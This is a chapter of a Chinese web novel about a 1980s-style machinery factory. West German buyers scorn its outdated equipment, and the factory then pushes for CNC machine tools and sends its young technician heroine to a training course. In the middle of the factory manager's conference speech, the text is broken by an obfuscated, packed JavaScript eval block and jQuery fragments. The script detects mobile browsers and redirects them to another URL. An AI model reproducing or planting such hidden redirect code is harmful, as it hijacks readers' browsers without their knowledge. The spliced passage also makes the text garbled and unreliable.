从广城载誉归来,春风厂上下还沉浸在出口订单带来的喜悦中,便立刻投入了紧张而有序的准备工作。
为了迎接西德克鲁莫公司的考察团,厂区里里外外进行了彻底的清扫,车间里那些老旧的设备被工人们反复擦拭,就连角落里的油污都清理得干干净净。
周厂长亲自挂帅,成立了专门的样品生产小组,工人们日夜盯在生产一线,确保每一个环节都严格按照德方提供的技术标准执行。
赵之凝自然也成为了小组成员之一,不仅要参与技术难点的攻关,还要负责对技术文件、工艺流程进行翻译。
这一方面,她倒要感谢秦维君的帮忙,毕竟前世她只学了点皮毛,在展会上才勉强能交流,这种实打实的文书工作,她还是请真正在德国留学过的秦维君出手了。
赵之凝穿梭在熟悉的车间里,看着老师傅们凭借高超的手艺和十二分的专注,在那些服役多年的机床上,小心翼翼地加工着要求苛刻的样品,心中既有自豪,也有一丝忐忑。
约定的考察日终于到了。
克鲁莫公司的代表穆勒女士和技术助理,在省外贸厅的工作人员陪同下,来到了春风机械厂。
尽管做足了心理准备,但当穆勒女士一行人踏入车间时,赵之凝还是捕捉到了他们脸上一闪而过的震惊。
车间高大却略显昏暗,采光主要依靠屋顶的老式天窗和稀疏的白炽灯。
一排排车床、铣床、磨床,尽管保养得很好,但大多漆色斑驳,铭牌模糊,发出沉重而节奏不一的轰鸣声。
工人们穿着洗得发白的工装,埋头操作,传送零部件靠的是天车缓慢的移动甚至是工人们的手推肩扛。
这与他们在西德见惯了的明亮、洁净、高度自动化的现代化工厂,形成了鲜明的对比。
穆勒的技术助理是一个年轻人,他忍不住低声用德语对穆勒说:“天啊,那些老古董机床,送进工业博物馆都嫌旧了,他们真的能用这些设备生产出符合我们标准的样品吗?”
穆勒女士没有立刻回答,她的目光扫过车间里的每一处细节,眉头微蹙。
赵之凝听到了这句话,仿佛被人当面扇了一记耳光。
她深吸一口气,强迫自己保持镇定,用相对委婉的中文,向周厂长等人翻译了这句话:“厂长,穆勒女士的助理对我们车间的生产环境表示了一点……惊讶,询问我们是否能确保样品质量。”
周厂长的笑容僵了一下,解释道:“请他们放心,我们的设备虽然有些年头,但保养得非常好,我们的工人都是经验最丰富的老师傅,手艺精湛,责任心极强,对质量的把控贯穿于每一道工序。”
这场考察就在这种微妙的气氛中进行。德方人员看得非常仔细,对每一个加工环节都提出了问题。
赵之凝作为翻译,一次次将德方带着怀疑的提问翻译过来,又一次次将我方的解释传递过去。
“他们问,这个轴承套圈的热处理过程,温度曲线是如何精准控制的?”
“他们想知道,最后的超精磨工序,依靠老师傅们的手感,如何保证批量生产时的尺寸一致性?”
“他们问,这种结构在长期高速运转和粉尘环境下,是否能持续有效?”
每一个问题,都拷问着春风厂的众人。他们都很清楚,对于目前的春风厂来说,有些问题确实是薄弱环节甚至是无力解决的。
这种无力感,不仅源于自家工厂在技术设备上的落后,更是来自两国在工业基础上的巨大差距。
所幸,在亲眼见证了老师傅们一丝不苟的操作,并且对已经完成了的部分样品进行了初步检测后,穆勒女士的紧绷的脸色终于缓和了一些。
穆勒女士说:“各位,我必须承认,你们的工人拥有令人敬佩的专注和技艺。在如此有限的条件下,能达到这样的加工水准,确实超出了我的预期。
此前的样品订单可以继续进行,我们会将这批样品带回德国进行严格的测试和装机实验。如果最终结果符合要求,我们会认真考虑后续的合作。”
周厂长等人悬着的心,总算放下了一半。
送走德方客户后,赵之凝一个人在生产区的角落里站了很久。
车间的喧嚣依旧,但她耳边回响的,却是德国人那句状似无心的“老古董”。
落后,太落后了。
憋屈,太憋屈了。
想要学习数控技术,想要改变落后现状的决心,从未像此刻这般强烈和迫切。
*
数天后,省机械工业厅召开了广城国际机械工业展览会总结会暨工业发展研讨会。
作为本次展会出口创汇的明星企业,春风厂代表应邀参加。
会上,省厅领导高度赞扬了本次展会取得的突出成就,但也明确提出,这仅仅是起点,安通省的工业整体水平与国内外先进地区相比,仍有巨大差距,必须抓住机遇,加快技术改造和产业升级的步伐。
一系列讲话和表彰环节后,会议进入了内部互动交流环节。
与会代表们热议如何扩大出口、如何改进管理,周厂长看了一眼会场后排旁听的赵之凝等众人,开始了发言。
“各位领导,各位同仁,我是春风机械厂的厂长周国安。这次参会,以及后续接待外国客商考察,我们有一个非常深刻的感受。
我们能够拿到外国订单,靠的是我们工人过硬的手艺和拼搏精神,这一点值得我们自豪。但是,我们也必须清醒地看到,我们的生产方式,与国际先进水平相比,已经出现了代差。”
他顿了顿,环视会场,不少人都露出了认真倾听的神情。
“我们的参会同志在展会上观察到,国外特别是西方国家,已经在普遍采用数控机床进行生产。靠程序控制,加工精度高、效率高、一致性好,对人工技能的依赖大大降低。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019224|192171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而我们,还停留在主要依靠八级工、七级工进行手工操作的传统模式。这次西德客户来考察,虽然肯定了我们的技术水平,但也对我们的生产条件和质量控制的稳定性提出了质疑。
我们认为,这种依靠个体技能经验的生产方式,将会很难适应未来大规模、高精度、高稳定性的国际市场竞争。”
他的话语掷地有声,引起了会场一阵骚动。有人点头表示赞同,也有人皱起眉头。
“所以,我在这里冒昧提议,”周厂长提高了声音,“我们是否应该尽快考虑,引入哪怕是最基础的数控设备,并着手培养我们自己的数控技术人才?
这不仅仅是买几台机器的问题,更是要学习一种新的制造思维和管理模式。否则,今天我们可能靠性价比拿到订单,明天就可能因为生产方式和效率的落后而被淘汰!”
这番发言激起了激烈的讨论,许多参加了展会的代表深有同感,但也有很多生产一线的代表认为为时尚早。
因为,理想很丰满,现实很骨感。
在外汇紧张的当下,一台进口的数控机床,动辄要数万甚至数十万上百万,这对于安通省来说,是难以承受的。
而且,即便把数控机床买回来了,谁会操作?谁来编程?谁来维护?
目前,国内这方面的人才几乎是空白,可以说是“无师可教”。
这场研讨会结束了,春风厂的提议没能得到现场的答复。
但是,省里领导都意识到发展数控机床的紧迫性,会后立刻指示相关部门,在全国范围内寻找一切可能的机会。
功夫不负有心人,经过多方联系和打听,终于从沪城传来了消息。
沪城第一工业技术学校作为试点,刚刚凭借地方财政支持和部分企业集资,斥资30万元引进了一台国内某研究院仿制开发的数控铣床。性能虽然还无法与进口设备相比,但已经具备了数控机床的基本功能。
更让人振奋的是,学校大胆地开设了为期一年的“数控机床操作与编程技术培训班”,旨在培养国内第一批懂数控的技术工人。
这个消息,让省厅和春风厂都看到了希望!
不过,培训名额极其有限,面向全国招生,选拔严格。
春风厂毫不犹豫地将赵之凝作为头号人选推荐了上去,理由很充分:她是全厂最顶尖的青年技术骨干之一,动手能力极强,有扎实的机械加工理论基础,更难得的是具备一定的外语能力,这对于学习基于外文资料和未来可能涉及进口系统的数控技术来说,无疑是巨大的优势。
经过省里的层层筛选,赵之凝作为安通省的技术工人代表之一,即将赶赴沪城参与选拔,争夺首期30名学员的名额。
临行前,周厂长既感到不舍,又满怀期望,他嘱托赵之凝:“小赵,好好表现,厂里全力支持你!以后学好本事回来,咱们厂的未来,就看你们这些年轻人了!”